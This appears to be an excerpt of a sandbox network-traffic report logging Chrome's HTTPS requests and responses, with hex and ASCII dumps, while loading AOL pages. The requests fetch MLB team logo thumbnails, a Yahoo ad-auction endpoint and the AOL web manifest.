2024-05-23 22:34:55 UTC	16384	IN	Data Raw: 2e 77 69 64 74 68 2c 63 68 69 6c 64 4c 69 73 74 3a 5b 62 5d 7d 29 7d 7d 7d 29 29 2c 6f 7d 28 72 2e 73 70 6c 69 74 28 22 20 22 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 7b 74 65 78 74 3a 65 2c 77 69 64 74 68 3a 65 2e 73 70 6c 69 74 28 22 22 29 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2b 66 5b 74 5d 7d 29 2c 30 29 7d 7d 29 29 2c 70 2c 6e 29 3b 69 66 28 6d 2e 6c 65 6e 67 74 68 3c 3d 61 29 72 65 74 75 72 6e 20 6d 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 74 65 78 74 7d 29 29 3b 66 6f 72 28 76 61 72 20 62 3d 6d 2e 73 6c 69 63 65 28 30 2c 61 29 2c 76 3d 62 5b 61 2d 31 5d 2c 67 3d 33 2a 66 5b 22 2e 22 5d 2b 28 64 3f 66 5b 22 20 22 5d 3a 30 Data Ascii: .width,childList:[b]})}}})),o}(r.split(" ").map((function(e){return{text:e,width:e.split("").reduce((function(e,t){return e+f[t]}),0)}})),p,n);if(m.length<=a)return m.map((function(e){return e.text}));for(var b=m.slice(0,a),v=b[a-1],g=3*f["."]+(d?f[" "]:0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.6	49965	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	702	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FLxlO0KLuFo3kg6l2bdZZRg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190308%2F500x500%2Froyals_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=d9246a23914252ddf4d21b2b0e20b22948ac78f2 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500372 Cache-Control: public, max-age=2592000 Cache-Tag: 241830782884660845303347807049510316187,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21929-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:54 GMT Edge-Cache-Tag: 241830782884660845303347807049510316187,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "cad98ac32ee9d716fd419ca010db952e" Expiration: expiry-date="Mon, 29 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 30 Jan 2024 16:52:08 GMT Server: ECAcc (lhd/35BD) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1884,owidth=50,oheight=50,obytes=1970,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000078-IAD X-Timer: S1711411322.470105,VS0,VE2 Content-Length: 1884 Connection: close
2024-05-23 22:34:54 UTC	1884	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff f6 f4 f1 f5 f3 f0 ff ff ff ff ff ff ff ff ff f2 ef eb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fb fa da d1 c3 fd fc fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f2 ef ea e2 dc d1 de d7 cb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d8 cf c1 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e6 e1 d8 e4 dd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b9 a8 8e ff ff ff eb e7 df ff ff ff ff ff ff f7 f5 f2 f5 f3 ef f9 f8 f6 ed e9 e2 ff ff ff f7 f6 f3 ff ff ff ff ff ff fe fe fe ff ff ff ff ff ff e8 Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.6	49962	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	710	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F1OsqZ2pFbgTFzAjs10o6yg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20230410%2F500x500%2Fminnesota-twins_wbg.png&client=76f99bdb8f78cd44cc0b&signature=a75a87a3e73c354a94d4b48834cde7d1ee914a2f HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	1509	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1895572 Cache-Control: public, max-age=2592000 Cache-Tag: 194331355042703009038793273272462225140,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000090-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 5 Content-Type: image/png Date: Thu, 23 May 2024 22:34:54 GMT Edge-Cache-Tag: 194331355042703009038793273272462225140,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "08b992f5e1ceb85b16075cdae0885dbf" Expiration: expiry-date="Mon, 19 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 20 Feb 2024 16:55:35 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35C2) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1662,owidth=50,oheight=50,obytes=1271,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21976-LGA X-Timer: S1711411322.456414,VS0,VE74 Content-Length: 1662 Connection: close
2024-05-23 22:34:54 UTC	1662	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 9a 50 4c 54 45 47 70 4c e3 1e 34 e3 1e 34 e3 1c 33 00 2b 5c e3 1e 34 00 2b 5c 00 2b 5c 00 2b 5c e3 1e 34 00 27 59 e3 1e 34 e3 1e 34 e2 1c 32 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 00 2b 5c e3 1d 32 e3 1d 34 e3 1e 34 e3 1e 34 e3 1e 34 00 2a 5b 00 29 5a e3 1d 33 00 2b 5c 00 29 5c 00 2b 5c 00 2b 5c e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1d 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1d 33 e3 1e 34 00 2b 5c 00 2b 5c e3 1d 34 00 2b 5c e3 1e 34 00 2b 5b e3 1e 34 e3 1e 34 e3 1e 34 00 2b 5c e3 1e 34 00 2b 5c 00 2b 5c 00 2b 5c e3 1e 34 00 2b 5c e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1d 33 e3 1e 34 e3 1e 34 e3 1e 34 e3 Data Ascii: PNGIHDR22)xPLTEGpL443+\4+\+\+\4'Y4424444+\24444*[)Z3+\)\+\+\4444444444444434+\+\4+\4+[444+\4+\+\+\4+\44443444

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.6	49963	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	700	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FdS08pSt67NVw1.BHmNGdYg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190328%2F500x500%2Fmets_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=77e9d3cbd4a2236c4ed62b6bed5b225eec89f5a7 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	1131	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 59737 Cache-Control: public, max-age=2592000 Cache-Tag: 323663472816882366468315098596914877951,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21921-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:54 GMT Edge-Cache-Tag: 323663472816882366468315098596914877951,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "b51745b23dee91feba756e824dc7305b" Expiration: expiry-date="Wed, 07 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 08 Feb 2024 21:10:22 GMT Server: ECAcc (lhd/35A8) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1875,owidth=50,oheight=50,obytes=1779,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kjyo7100131-IAD X-Timer: S1711259957.080248,VS0,VE76 Content-Length: 1875 Connection: close
2024-05-23 22:34:54 UTC	1875	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ed e5 ff ff ff ff ff ff ff ff ff ff d0 bb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d2 be ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c0 a4 ff c7 ae ff f7 f3 ff ff ff ff ff ff ff ff ff ff d0 bb ff ff ff ff e1 d4 ff ff ff ff ff ff ff f8 f5 ff ff ff ff c6 ac ff ca b2 ff ff ff ff ff ff ff e8 df ff ff ff ff b5 94 ff ff ff ff ff ff ff f7 f3 ff eb e2 ff ff ff ff c9 b0 ff ff ff ff f9 f6 ff fc fa ff ff ff ff cd b7 ff f4 ef ff f4 ef ff ee e7 ff db cb ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.6	49966	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	704	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F3WQUCMLenaDM.cRUsgzWzQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20191111%2F500x500%2Fcardinals_wbg.png&client=76f99bdb8f78cd44cc0b&signature=67a6d82bcceebe88bd4b4883a6ad9b8de11e7f9a HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500384 Cache-Control: public, max-age=2592000 Cache-Tag: 232026116361953768170210132161029562638,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100170-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:54 GMT Edge-Cache-Tag: 232026116361953768170210132161029562638,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "1263ddcc7dacae9e9e9e97e9b719a347" Expiration: expiry-date="Mon, 02 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 05 Mar 2024 18:09:12 GMT Server: ECAcc (lhd/35A6) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1869,owidth=50,oheight=50,obytes=1875,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21948-LGA X-Timer: S1711411311.810132,VS0,VE58 Content-Length: 1869 Connection: close
2024-05-23 22:34:54 UTC	1869	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd f6 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.6	49968	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	460	OUT	GET /openrtb2/auction HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:54 UTC	622	IN	HTTP/1.1 405 Method Not Allowed allow: OPTIONS, POST content-type: text/plain; charset=utf-8 vary: Origin content-length: 19 date: Thu, 23 May 2024 22:34:54 GMT x-envoy-upstream-service-time: 2 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:54 UTC	19	IN	Data Raw: 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0a Data Ascii: Method Not Allowed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.6	49964	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	701	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FRJqdsmvPI2DpLTYPUshLNg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190312%2F500x500%2Fangels_wbg.png&client=76f99bdb8f78cd44cc0b&signature=6d0bf376e1ce270abc491aed69fa3726a3f97fad HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	1125	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500372 Cache-Control: public, max-age=2592000 Cache-Tag: 384353217125979979751880061833523536875,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21941-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:54 GMT Edge-Cache-Tag: 384353217125979979751880061833523536875,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "7e2aa38b0ef33de2d3305680f77b2c37" Expiration: expiry-date="Mon, 02 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 05 Mar 2024 19:53:12 GMT Server: ECAcc (lhd/35E2) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1897,owidth=50,oheight=50,obytes=2495,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21941-LGA X-Timer: S1711411322.462418,VS0,VE2 Content-Length: 1897 Connection: close
2024-05-23 22:34:54 UTC	1897	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fa 50 4c 54 45 47 70 4c ff ff ff ff ff ff ee f2 f5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f5 f7 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 fa fc ff ff ff fd fd fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb fc fd ff ff ff cb d5 e0 f4 f6 f9 e5 eb f0 ff ff ff 04 5b a3 ff ff ff ff ff ff ff ff ff f8 fa fb ff ff ff 04 5b a2 04 5b a3 04 5b a3 fc fd fd ff ff ff ff ff ff ed f1 f4 04 5b a3 04 5b a3 f7 f9 fa ff ff ff f1 f4 f6 eb ef f3 bc c9 d6 ef f2 f5 97 ac c0 b0 bf ce 04 5b a3 04 5b a3 f5 Data Ascii: PNGIHDR22)xPLTEGpL[[[[[[[[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.6	49967	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	704	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F163pPLOqMX8w.fiHFyQ0Gg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20220425%2F500x500%2Fguardians_wbg.png&client=76f99bdb8f78cd44cc0b&signature=2d40aedb20b7b30d4fd350ff1c037f44f154fa19 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	1515	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500372 Cache-Control: public, max-age=2592000 Cache-Tag: 249843997881170543559607760696480906098,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000117-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:54 GMT Edge-Cache-Tag: 249843997881170543559607760696480906098,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "55cef085aa84ffdde6771d571e0a541f" Expiration: expiry-date="Sun, 28 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 29 Jan 2024 00:30:30 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35EB) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1639,owidth=50,oheight=50,obytes=1491,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000043-IAD X-Timer: S1711411322.467510,VS0,VE2 Content-Length: 1639 Connection: close
2024-05-23 22:34:54 UTC	1639	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 d3 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.6	49974	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	570	OUT	GET /cv/apiv2/aolfp/metadata/manifest.json HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: manifest Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:55 UTC	786	IN	HTTP/1.1 200 OK x-amz-id-2: xAfz5dklnIswDoL0rUTnLOdpaGjQf8wfbfbn9NgvECxVNTt3WCwSyY2b98xMGwte2cCeVbZgJkw= x-amz-request-id: E6TRK5B2A4ETWQPJ Date: Thu, 23 May 2024 09:22:05 GMT Last-Modified: Mon, 09 Jan 2023 14:45:37 GMT x-amz-server-side-encryption: AES256 Cache-Control: max-age=86400 Accept-Ranges: bytes Content-Type: text/json Server: ATS Content-Length: 1653 Referrer-Policy: no-referrer-when-downgrade Etag: "6bdda2b37274eaed3fd8895766c49e86" Age: 47570 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 7b 0a 20 20 22 6e 61 6d 65 22 3a 20 22 41 6f 6c 22 2c 0a 20 20 22 69 63 6f 6e 73 22 3a 20 5b 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 22 73 72 63 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 61 6f 6c 66 70 2f 69 6d 61 67 65 73 2f 61 70 70 2f 41 4f 4c 2d 6c 6f 67 6f 2d 33 36 78 33 36 2e 70 6e 67 22 2c 0a 20 20 20 20 20 20 22 73 69 7a 65 73 22 3a 20 22 33 36 78 33 36 22 2c 0a 20 20 20 20 20 20 22 74 79 70 65 22 3a 20 22 69 6d 61 67 65 2f 70 6e 67 22 0a 20 20 20 20 7d 2c 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 22 73 72 63 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 61 6f 6c 66 70 2f 69 6d 61 67 65 73 2f 61 70 70 2f 41 4f 4c 2d 6c 6f 67 6f 2d 34 38 78 34 38 2e Data Ascii: { "name": "Aol", "icons": [ { "src": "https://s.yimg.com/cv/apiv2/aolfp/images/app/AOL-logo-36x36.png", "sizes": "36x36", "type": "image/png" }, { "src": "https://s.yimg.com/cv/apiv2/aolfp/images/app/AOL-logo-48x48.
